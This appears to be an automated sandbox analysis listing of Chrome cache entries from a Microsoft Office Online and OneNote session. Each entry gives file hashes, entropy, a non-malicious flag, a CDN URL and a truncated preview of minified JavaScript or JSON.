Preview:	function getLanguageParameter(n){var t,i;if(UseApiForUILanguage&&Office.context.displayLanguage)return""+n+"="+Office.context.displayLanguage;var f=window.location.search.substr(1),r=f.split("&"),u="";for(t=0;t<r.length;t++)if(i=r[t].split("=",2),i.length==2&&i[0]=="ui"){u=""+n+"="+i[1];break}return u}function getEdgeMajorVersion(){var t=navigator.userAgent,n=t.match(/Edge\/([0-9]+)/i);return n&&n.length>=2?parseInt(n[1]):-1}function getQueryParameter(n){var u,r,t,i;if(window.location.search&&window.location.search.length>1)for(u=window.location.search.substring(1),r=u.split("&"),t=0;t<r.length;t++)if(i=r[t].split("="),decodeURIComponent(i[0])==n)return i.length>1?decodeURIComponent(i[1]):"";return null}function now(){return(new Date).getTime()}function generateGuid(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(n){var t=Math.random()*16\|0,i=n==="x"?t:t&3\|8;return i.toString(16)})}function createSimpleHtml(n,t,i){i===void 0&&(i=null);var r=document.createElemen

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7444)
Category:	downloaded
Size (bytes):	439778
Entropy (8bit):	5.506049992969721
Encrypted:	false
SSDEEP:	6144:XIa8dqI7TAYAf3WBQHhlWMWUGcRGjGFHTCH1Ct/LAAnDE+Yiu7lG2PPP8uO:X58dqI41SvUGcGGFHBt/fduJGaO
MD5:	E1ECEFA8693D3193B3EE735D7D8EC3A1
SHA1:	3C139DA475680595A1DBA09642E26759B97D41ED
SHA-256:	D9BB2CE40CC4B0957E65F3F3F5293167050FDAB5AA3581E2395D948D746A80B8
SHA-512:	76F9473A201D1FC4216F1AF8BF3DED4ACAF4DF1E300A4E24E608DC51B2BA1CCBFF56E5CD2FA86A7CD7F096D9B5EF415AA7688CF3C976BB2B0CCF26E1677C75FF
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2024-06-28.014/wacowlhostwebpack/wacowlhostwebpack.js
Preview:	/! For license information please see wacowlhostwebpack.js.LICENSE.txt /.(()=>{var e=document.currentScript;define("odsp-next/roots/WacOwlHost",["odsp.react.lib"],()=>{var t;return(()=>{"use strict";var n=[(e,t,n)=>{n.r(t),n.d(t,{__assign:()=>r,__asyncDelegator:()=>S,__asyncGenerator:()=>y,__asyncValues:()=>D,__await:()=>v,__awaiter:()=>l,__classPrivateFieldGet:()=>w,__classPrivateFieldSet:()=>E,__createBinding:()=>f,__decorate:()=>s,__exportStar:()=>p,__extends:()=>i,__generator:()=>u,__importDefault:()=>O,__importStar:()=>C,__makeTemplateObject:()=>I,__metadata:()=>d,__param:()=>c,__read:()=>_,__rest:()=>o,__spread:()=>h,__spreadArray:()=>g,__spreadArrays:()=>b,__values:()=>m});var a=function(e,t){return a=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},a(e,t)};function i(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (63603)
Category:	downloaded
Size (bytes):	130559
Entropy (8bit):	5.272254843138107
Encrypted:	false
SSDEEP:	1536:+h8VvaIdNDxIQxI4QAQuBqCELdzQBy0uR6Ond4U:+h8VyIWLdcov4OndT
MD5:	87C1E4F634CF6F8AAAC8D0B54E18BC68
SHA1:	746F885FD663A7B7F0B621C8FF8763F06A52B0A8
SHA-256:	FB72ECE0B308948CC31DA5824E484070C21BD9EB6451179BACAB79C99BADC953
SHA-512:	F1C741606B3A320FA60114A67A40A9ABC642B768CEE44CFF471BE2426B55083ED46DEDD712C3008790657D05D30436DA61E64C7D6BB3BFF2C86A1EDE39BD4F91
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/sp-client/odsp.react/odsp.react.lib-aa551099.js
Preview:	/! For license information please see odsp.react.lib-aa551099.js.LICENSE.txt /.(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([["odsp.react.lib"],{react_13:function(e){"use strict";var t=Object.getOwnPropertySymbols,n=Object.prototype.hasOwnProperty,a=Object.prototype.propertyIsEnumerable;function i(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},n=0;n<10;n++)t["_"+String.fromCharCode(n)]=n;if("0123456789"!==Object.getOwnPropertyNames(t).map(function(e){return t[e]}).join(""))return!1;var a={};return"abcdefghijklmnopqrst".split("").forEach(function(e){a[e]=e}),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},a)).join("")}catch(e){return!1}}()?Object.assign:function(e,r){for(var o,s,c=i(e),d=1;d<arguments.length;d++){for(var l in o=Object(arguments[d]))n.cal

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65340), with no line terminators
Category:	dropped
Size (bytes):	697333
Entropy (8bit):	5.412753619740137
Encrypted:	false
SSDEEP:	6144:+ilNI37SPjNu6G2rdCNA9OgouePS9TWuOBp8IN+GEo18xiqIqHFTndLlY:aSBu6Gi4AQgtRTnPY
MD5:	B9C2125FFE26B5AE4D3E5973A7503460
SHA1:	429E461A55A77A7E7D65744B8B3435DF8D77D187
SHA-256:	02982CF35F997363757B07197B765AED7BF42C876939B501A08DD5CDBD31ED29
SHA-512:	23201E72ACAC7666CC0F5BE53E4D6D477AC8E248EB31DB1C87982CEBA4063DD28003304CBEAF7637B51742AA94FCBB6AC76C2C8B36DBC10F5669DCA74DB99583
Malicious:	false
Reputation:	low
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,a){try{var s=e[i](a),l=s.value}catch(e){return void o(e)}s.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function a(e){asyncGeneratorStep(i,n,r,a,s,"next",e)}function s(e){asyncGeneratorStep(i,n,r,a,s,"throw",e)}a(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 (with BOM) text, with very long lines (4207), with CRLF line terminators
Category:	downloaded
Size (bytes):	4212
Entropy (8bit):	5.732834657954366
Encrypted:	false
SSDEEP:	48:Rm/hpTwpHpypYYqeQkpYYFNtjEYtDE0kypOKeklKVuAmM3oVKCM3j++j+xUJo8/q:iyzh0QYtD5o6Im+n36+jLXYKMVp/
MD5:	5780200B7FE28C3F2C46864A012246E5
SHA1:	03A13FDC8A8CC7DBECE15E23105EA6E870105133
SHA-256:	0EF96689F29280B58D5024539DFE352EC9DD520CA1EDA5E24F0AEBD31DE0A560
SHA-512:	4FCC868D4E3401728FE4AEBB2AF8D2DB937309EA98EB916E02CF85E61504170C5B7B62C3169D4BE130363552063B1232575CDD9863026CAB2816DA96BD03AD26
Malicious:	false
Reputation:	low
URL:	https://euc-onenote.officeapps.live.com/o/error/error.html?aspxerrorpath=/o/null&DataUrlEnabled=true
Preview:	.<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title></title><script type="text/javascript"> var l_ErrorImageAlt_Text = "The service is unavailable"; var l_ErrorHeader_Text = "Service Unavailable"; var l_ErrorLine1_Text = "We are currently experiencing technical difficulties."; var l_ErrorLine2_Text = "Please try again later."; var l_ErrorHeaderStyle_Text = "font-family: calibri, tahoma, verdana, arial, sans serif; font-size: 18pt; color: #444444; line-height: 150%"; var l_ErrorTextStyle_Text = "font-family: calibri, tahoma, verdana, arial, sans serif; font-size: 10pt; color: #444444"; var language = "en-us"; function writeLocalizedErrorMessage() { getBrowserLanguage(); loadScript(); try{ if(window.parent.g_enableFramePageErrorReporting) { const message = { MessageId: "Wac_AppFailed", SendTim

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22010)
Category:	downloaded
Size (bytes):	22064
Entropy (8bit):	4.683167977137934
Encrypted:	false
SSDEEP:	384:VM4GO9OuOPgOyOKOEOuOjOeOsO6SOYOIOE:VYO9OuO4OyOKOEOuOjOeOsOlOYOIOE
MD5:	FEA7FEF4C2CCA9D34F28F97188291B00
SHA1:	191D63A4B827A88674E9CD62682EB0899EFC9097
SHA-256:	105DB7DDDF5115CBCA30476194728D4286525061786056816AEF03D416E7D87B
SHA-512:	0F579ABDF6CDA4BE6257ABFB1B4D796FF6A772394C12CD5B64E11045834A75596C0719937BE56ECB0F6C623D9498ACF1C3067D62C091E21B93D71E96B3F893F5
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wp5/onenoteloadingspinner.min.js
Preview:	"use strict";(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[814],{85586:function(a,i,t){t.r(i),t.d(i,{default:function(){return n}});var x=t(75336);const e=t(48934),r=new x.U("oreo-loadingSpinner");class s{static getData(){return new Promise(((a,i)=>{a(t(29717))}))}}var k=null;class n{static startAnimation(){const a="OreoLoadingSpinner",i=document.getElementById("WACPageLoadingIndicator");if(i){if(k&&window.clearTimeout(k),k=window.setTimeout((()=>{document.getElementById(a)&&r.warningTag(591407137,"OneNote Oreo Spinner is active for too long 30000")}),3e4),!this.spinner)return new Promise(((t,x)=>{r.infoTag(591407138,"OneNote Oreo Spinner is loading."),s.getData().then((t=>{let x=document.createElement("span");x.id=a,x.className="oreoLoadingSpinner",i.insertBefore(x,i.firstChild);let r={container:x,renderer:"svg",loop:!0,autoplay:!0,animationData:t};this.spinner=e.loadAnimation(r),this.spinner.play()})).catch((a=>{r.errorTag(591407139,"Error while loading O

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11652), with no line terminators
Category:	downloaded
Size (bytes):	11652
Entropy (8bit):	5.4349726505901295
Encrypted:	false
SSDEEP:	192:MFiBre+1RPmTJYPcCP3jEpGfB7/h1px1KB5hJdCZhbhibcm/+fhpl02pML1DaLCX:eiBre+1ZyONp3x12JdCZhli4mWfDlRGJ
MD5:	4B0BA25DE99455CCD43C90BEE2DBA45F
SHA1:	7552D1EA2450FBB7EEC67BBD556BF496938A4AEC
SHA-256:	32C207F2625D1F9313C91C0FE77F07587D678E862947A469FAA9ED53FFF5A748
SHA-512:	2FBD577A862C1F4E94A92D61E878918FCA4C359F57E37C3954E6AF39115BABD823A5D5EDC22FE1656C4AA402FF83F08E5ECEF3CD1570C8394089AE80F632DECC
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/suiteux-shell/js/suiteux.shell.consappdata.js
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_consappdata_start"),(self["suiteux_shell_webpackJsonp_suiteux-bootstrapper"]=self["suiteux_shell_webpackJsonp_suiteux-bootstrapper"]\|\|[]).push([["consappdata"],{9227:function(e,o,t){t.r(o),t.d(o,{loadConsumerAppData:function(){return _}});var l=t(6968);const n="auth=1";function s(e,o,t,l,s,r){const i=encodeURIComponent(o),a=s?encodeURIComponent(s):"",h=s?"login_hint="+a:void 0,m="https://www.microsoft365.com",u="https://outlook.com";let p=h?u+"?"+h:u;const f="https://outlook.live.com/calendar/";let d=h?f+"?"+h:f;const S="https://onedrive.live.com";let g=h?S+"?"+h:S;const w=m+"/launch/word?"+["username="+i,n].join("&");let C=h?w+"&"+h:w;const _=m+"/launch/excel?"+["username="+i,n].join("&");let O=h?_+"&"+h:_;const P=m+"/launch/powerpoint?"+["username="+i,n].join("&");let E=h?P+"&"+h:P;let y="https:/

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9468)
Category:	downloaded
Size (bytes):	9502
Entropy (8bit):	5.109546501491569
Encrypted:	false
SSDEEP:	192:6m8MfbxX4bj4uB4qHgUU4Y1704v4IJ4e43964zVYgM4HB2g5i4eQ:6m8yRKjzy4O0G7XS9qgMOMgMM
MD5:	2E9468D44DEE56F6FDCD78F3102FB8B0
SHA1:	04BF07C5994ACA2B504550DFFA12B8D3199102C5
SHA-256:	8CC060717898F2E20FAA5CBBE4B4989D9A05B744F8FFD49F26EF4709D79ED61A
SHA-512:	94E531F4FF02AEDD50A6CCEE282A1CF0AB0FB19C1C890FA3CB16D7154014CD73667CC8FB4AF09876E2BE0A2A90D25A7AE1751C33B07F220DFFCF93409A8B120B
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2024-06-28.014/wacowlhostwebpack/11.js
Preview:	"use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([[11],{118:(e,t,n)=>{n.r(t),n.d(t,{getFirstConsistentlyInteractive:()=>u});var a=n(0),i=0,r=["img","script","iframe","link","audio","video","source"];function o(e,t){for(var n=0,a=e;n<a.length;n++){var i=a[n];if(t.includes(i.nodeName.toLowerCase())\|\|o(i.children,t))return!0}return!1}function s(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];c()&&console.log.apply(console,e)}function c(){try{if("sessionStorage"in window&&window.sessionStorage){var e=window.sessionStorage.enableTTILogging;return e&&"true"===e.toLowerCase()&&"undefined"!=typeof console&&!!console}}catch(e){}return!1}function d(e,t){if(e.length>2)return performance.now();for(var n=[],a=0,i=t;a<i.length;a++){var r=i[a];n.push({timestamp:r.start,type:"requestStart"}),n.push({timestamp:r.end,type:"requestEnd"})}for(var o=0,s=e;o<s.length;o++){var c=s[o];n.push({timestamp:c,type:"requestStart"})}n.sort(function(e,t){return e.timestamp-t.tim

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	352106
Entropy (8bit):	5.476435912719302
Encrypted:	false
SSDEEP:	6144:nP3mD7UhRYdVoY7BjQ/PgV37xJHSs8SbYoGVHWCiOdjY:P2cgF+djY
MD5:	519BC46A97A6312A726C063DBDCA0145
SHA1:	4C424F20391BA84C871C5279E523347965D0B6E7
SHA-256:	97F47CEF16EA8562C5403EAE8E3FA843712FBADF11D0EBB94798282C93427961
SHA-512:	9B38AFD0C6DD4DEEAC686C616FE35117502DC1CB509C2A4FB0F9DB43DC35CC4E986C3EF3A555B41ED0E2907683D8856EB66C867F5E5372049763FE0FF5C59590
Malicious:	false
Reputation:	low
Preview:	function _define_property(t,e,i){return e in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i,t}function _object_spread(t){for(var e=1;e<arguments.length;e++){var i=null!=arguments[e]?arguments[e]:{},n=Object.keys(i);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(i).filter((function(t){return Object.getOwnPropertyDescriptor(i,t).enumerable})))),n.forEach((function(e){_define_property(t,e,i[e])}))}return t}function ownKeys(t,e){var i=Object.keys(t);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(t);e&&(n=n.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),i.push.apply(i,n)}return i}function _object_spread_props(t,e){return e=null!=e?e:{},Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(e)):ownKeys(Object(e)).forEach((function(i){Object.defineProperty(t,i,Object.getOwnPropertyDescriptor(e,i))})),t}(globalThis.onenote

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3831
Entropy (8bit):	5.120639874211328
Encrypted:	false
SSDEEP:	96:itGurLtJwqfjH6CIuRxs0gPhtxq+jLqXnvZQQ2:itGu3t+yb6CBUHN
MD5:	72D9A825554620C51BF0018A457E7F2E
SHA1:	23400E26C69A1F8A47236FFAD4BC80FC80BA773E
SHA-256:	365009220D893F07B356C7F253CECD5A9F7E06D6207A3DD7A148FC73812B4FE6
SHA-512:	9212035EFC74AD61A74FA806229E4A97BB9FB50698B0B15BD7296AD53B6A2C9A43D0A3E2082286F4AC60167E129E07CB511638A103C510DB3B5ADA6A383165A6
Malicious:	false
Reputation:	low
Preview:	/!.. JavaScript Cookie v2.1.3.. * https://github.com/js-cookie/js-cookie.. .. Copyright 2006, 2015 Klaus Hartl & Fagner Brack.. * Released under the MIT license.. */..;(function (factory) {...var registeredInModuleLoader = false;...if (typeof define === 'function' && define.amd) {....define(factory);....registeredInModuleLoader = true;...}...if (typeof exports === 'object') {....module.exports = factory();....registeredInModuleLoader = true;...}...if (!registeredInModuleLoader) {....var OldCookies = window.Cookies;....var api = window.Cookies = factory();....api.noConflict = function () {.....window.Cookies = OldCookies;.....return api;....};...}..}(function () {...function extend () {....var i = 0;....var result = {};....for (; i < arguments.length; i++) {.....var attributes = arguments[ i ];.....for (var key in attributes) {......result[key] = attributes[key];.....}....}....return result;...}.....function init (converter) {....function api (key, value, attributes) {.....var res

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	148288
Entropy (8bit):	5.266187432840454
Encrypted:	false
SSDEEP:	3072:I4HhflQciRXtgsE1Egb4khbDIKDl1Ka6qAoi:I4HhflQci3qEgb4khbDIKDl1Ka6qAoi
MD5:	85359869563F9555214D7A048CA382AE
SHA1:	45CDBCDBEFBE7E83B42949F1CA7D4CF644BAFF4C
SHA-256:	756C1A64225EE36639E30E50DBB7BC047C9848F661FD23A455FDC6F69BED1D36
SHA-512:	B85C5ACB91C4F05E06E53F500C11EBBBEDF469A81E235723C3C24C52892387C6CEA7C1160A5E13F38B751426C322C8B213950E151BF85201890EAD274368B771
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h756C1A64225EE366_App_Scripts/wp5/onenoteSyncNew.min.js
Preview:	var onenoteSync;!function(){var t={720:function(t,n,e){t.exports=function(){"use strict";var t=function(){return t=Object.assign\|\|function(t){for(var n,e=1,r=arguments.length;e<r;e++)for(var i in n=arguments[e])Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i]);return t},t.apply(this,arguments)};function n(t,n,e){if(e\|\|2===arguments.length)for(var r,i=0,s=n.length;i<s;i++)!r&&i in n\|\|(r\|\|(r=Array.prototype.slice.call(n,0,i)),r[i]=n[i]);return t.concat(r\|\|Array.prototype.slice.call(n))}var r="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof self?self:"undefined"!=typeof window?window:e.g,i=Object.keys,s=Array.isArray;function o(t,n){return"object"!=typeof n\|\|i(n).forEach((function(e){t[e]=n[e]})),t}"undefined"==typeof Promise\|\|r.Promise\|\|(r.Promise=Promise);var u=Object.getPrototypeOf,a={}.hasOwnProperty;function c(t,n){return a.call(t,n)}function h(t,n){"function"==typeof n&&(n=n(u(t))),("undefined"==typeof Reflect?i:Reflect.ownKeys)(n).forEach((function(e){l(t,e,n[e])}

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14666), with no line terminators
Category:	downloaded
Size (bytes):	14666
Entropy (8bit):	5.192998441009612
Encrypted:	false
SSDEEP:	192:9dbIGOqZ05GyaKzhRCwqyf/q2E+Rh99TzlfVNyv83+LBoaWLNwGfiC8O5PPM:9BiUQhRVfye99Pl9483+LBoaWLqv
MD5:	8880E957219B056B26B67D88CB7FFFF5
SHA1:	BE024ABFE99C2DC447191E2C59DD96FD9352E2C4
SHA-256:	4BBB0DBB03A136E993BB2FB363455E7DCABF84CBB17DE37AD6168B9326E56909
SHA-512:	1E611B1C8D3B7DE4CEE215C989885A6F8256B89A51621B77598A9A363AAF2897FC439DD73860234BA77AB682B84D05437CE0DBBDA59C3C1B5CC9D16662897EC5
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h4BBB0DBB03A136E9_App_Scripts/jsanity.js
Preview:	if("undefined"!=typeof jSanity)throw"jSanity has been defined, please check if there's any duplicate reference.";jSanity={},function(e){"use strict";var t={inputString:"",maxWidth:"600px",maxHeight:"200px",overflow:"hidden",allowLinks:!0,linkClickCallback:null,customProtocols:{},allowRelativeURLs:!1,allowAudioVideo:!1,unsupportedContentCallback:null,externalContentCallback:function(e,t,r,o){var i;if("attribute"===e&&"src"===t)for(var n in o)if(o.hasOwnProperty(n)&&r.substring(0,n.length)===n){i=!0;break}return i\|\|(r="CSSURL"===e?'url("about:blank")':"about:blank"),r},isolatedTargetDOM:!1,directModifySource:!0,attributePrefix:"jSanity",dataAttributeCallback:null,debugLevel:0,onFinishedCallback:null},r=function(){this.sync=!0,this.jobs=[],this.id=r.globalId++,this.listnerPosfix=0,this.onCompletedListners={},this.onNewJobAddedListners={},this.useSync=function(){this.sync=!0},this.useAsync=function(){this.sync=!1},this.addNewJob=function(e){for(var t in this.jobs.push(e),this.onNewJobAdded

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	downloaded
Size (bytes):	291923
Entropy (8bit):	5.339646656673208
Encrypted:	false
SSDEEP:	6144:CrQUjLm+AvPSIoPaKKmMlHhcGt4V3pgYh:CsUjtKJlHG
MD5:	2C206E459DA8A3BB1F6754E6490F3A28
SHA1:	D81ECA141626A961B33E0B3D182B629F82903456
SHA-256:	1AF313E9BFC94CCC15838E515C0BC7846715B670D3DD8A0A9366CA6979470342
SHA-512:	077AE6D1AFD4B14843582885AA43270138EEE7AB148D1AD210F9B36ED657D865EBE82D79C6E172DA9BFFBD45A8F7D932D77BBD49FC249FA6760F36C9F6FF711E
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wp5/appIconsLazy.min.js
Preview:	function _define_property(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}function _object_spread(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},i=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),i.forEach((function(e){_define_property(t,e,r[e])}))}return t}(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[848],{89153:function(t,e,r){t.exports={default:r(51802),__esModule:!0}},26396:function(t,e,r){t.exports={default:r(47219),__esModule:!0}},94349:function(t,e,r){t.exports={default:r(89348),__esModule:!0}},59583:function(t,e,r){t.exports={default:r(98460),__esModule:!0}},38427:function(t,e,r){t.exports={default:r(12304),__esModule:!0}},53898:function(t,e,r){t.exports={default:r(97948),__esModule:!0}},48927:function(t,e,r){t.exports=

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3290
Entropy (8bit):	5.895460726438132
Encrypted:	false
SSDEEP:	96:J/bwRFZ1ZdpIOUmURqcJHFowRWJKanp15KW:J/bwRFTuObcZxWJKap15KW
MD5:	3A086789DBE806DC59E22D10A6555300
SHA1:	D288FF3F83417AFAEF978D00F739E164427EA2FA
SHA-256:	E23D69AA104B4C123CD52CF3BBB1C820E3730AE6754E4DFE8DE8FD1882F759A2
SHA-512:	0A88DA0C7821A7D9356C57BA6990216C544A1439CAE1B3AD80F799824D0E78327A9FDF19A0A593B46291772063A17DCD5024D581B5AB6DD9891DF60B0E4A604A
Malicious:	false
Reputation:	low
Preview:	{"clientVersion":"20240710.4","files":{"owl.js":["owl.0d1f1b153d771ea86590.js","sha384-WJbb26HxcwZAdvGAWxTNq4gXLnaXXAGyoeUR4LKLcU9adgbbcNzccHQHd6BbPEaU"],"owl.slim.js":["owl.slim.6a7c2b86e1c3aace8110.js","sha384-Rxexw0bIdCp+OXqRW0sDqEsOXXESzmlu/NVLnoBooLC5Iu+ooF7mgukqtyaLbIxf"],"owlnest.js":["owlnest.d4249494fd37a98c74fb.js","sha384-VSlflz0kT45rNfUrAoRFLoyF4rK74n11s/HeKWtr97pZzHViCaCdH/Xlsoyqq41t"],"authwebworker.js":["authwebworker.771be0ccf22bcb304e1d.js","sha384-fLNxOfQ7OazW304wFpxOvDT4/cBBf1hcA4F0PjMf78Js0r8FgHO5nQz/qDCAKSaL"],"sharedauthclient.js":["sharedauthclient.b21449b5dd90a34fb122.js","sha384-CbSKmlHIyYTh2QeBIwEyGFPE8lmYEJT45IL0Hc9VvAki9KlEgsOH9pH+yRPKfVnx"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.f335f2a65b7bd482b5be.js","sha384-HKxSqP82hYJtD8xRm6HsLjhR2CAGWI0oKuYFkMRg1Tt+8y496UFAn3ygZzeQg38J"],"sharedauthclientmsal.js":["sharedauthclientmsal.c91ba253b5567e61379b.js","sha384-hsZIHUoG/N70URpos5UtKR+tHYUbXt/1qwKO0IdWrFJZ22PRzjseZXsDlfOzeHKN"],"sharedaut

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3290
Entropy (8bit):	5.895460726438132
Encrypted:	false
SSDEEP:	96:J/bwRFZ1ZdpIOUmURqcJHFowRWJKanp15KW:J/bwRFTuObcZxWJKap15KW
MD5:	3A086789DBE806DC59E22D10A6555300
SHA1:	D288FF3F83417AFAEF978D00F739E164427EA2FA
SHA-256:	E23D69AA104B4C123CD52CF3BBB1C820E3730AE6754E4DFE8DE8FD1882F759A2
SHA-512:	0A88DA0C7821A7D9356C57BA6990216C544A1439CAE1B3AD80F799824D0E78327A9FDF19A0A593B46291772063A17DCD5024D581B5AB6DD9891DF60B0E4A604A
Malicious:	false
Reputation:	low
URL:	https://wise-m.public.cdn.office.net/wise-m/owl/5mttl/msit/10/manifest.json
Preview:	{"clientVersion":"20240710.4","files":{"owl.js":["owl.0d1f1b153d771ea86590.js","sha384-WJbb26HxcwZAdvGAWxTNq4gXLnaXXAGyoeUR4LKLcU9adgbbcNzccHQHd6BbPEaU"],"owl.slim.js":["owl.slim.6a7c2b86e1c3aace8110.js","sha384-Rxexw0bIdCp+OXqRW0sDqEsOXXESzmlu/NVLnoBooLC5Iu+ooF7mgukqtyaLbIxf"],"owlnest.js":["owlnest.d4249494fd37a98c74fb.js","sha384-VSlflz0kT45rNfUrAoRFLoyF4rK74n11s/HeKWtr97pZzHViCaCdH/Xlsoyqq41t"],"authwebworker.js":["authwebworker.771be0ccf22bcb304e1d.js","sha384-fLNxOfQ7OazW304wFpxOvDT4/cBBf1hcA4F0PjMf78Js0r8FgHO5nQz/qDCAKSaL"],"sharedauthclient.js":["sharedauthclient.b21449b5dd90a34fb122.js","sha384-CbSKmlHIyYTh2QeBIwEyGFPE8lmYEJT45IL0Hc9VvAki9KlEgsOH9pH+yRPKfVnx"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.f335f2a65b7bd482b5be.js","sha384-HKxSqP82hYJtD8xRm6HsLjhR2CAGWI0oKuYFkMRg1Tt+8y496UFAn3ygZzeQg38J"],"sharedauthclientmsal.js":["sharedauthclientmsal.c91ba253b5567e61379b.js","sha384-hsZIHUoG/N70URpos5UtKR+tHYUbXt/1qwKO0IdWrFJZ22PRzjseZXsDlfOzeHKN"],"sharedaut

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24306), with CRLF line terminators
Category:	downloaded
Size (bytes):	24452
Entropy (8bit):	5.328428296210481
Encrypted:	false
SSDEEP:	384:9CT9tmaKmjfU6/pyX98SRCRrXeFxf/biyMFRwV6ApqVblbtA69E/YNwwOIUAttmU:9CT9tmaXU6/pyN8SRCRrXeFxf/biyMF9
MD5:	AC459993971D136B5C420665B272E101
SHA1:	3C84797F6C43434519212E1AE74E84C4BC9E133A
SHA-256:	883922A710E857E94B35FD6748792782280A859E154E4DB2E4C0B4876DFA61AE
SHA-512:	35DDE4930521684FC51EB5E521D23259DB9A17455F572CCE8BF3E319BE1D69B0571D6E38AB9C72F5801E8777F567AED9742970E6409C0C77C255E995362B5477
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/hammer.min.js
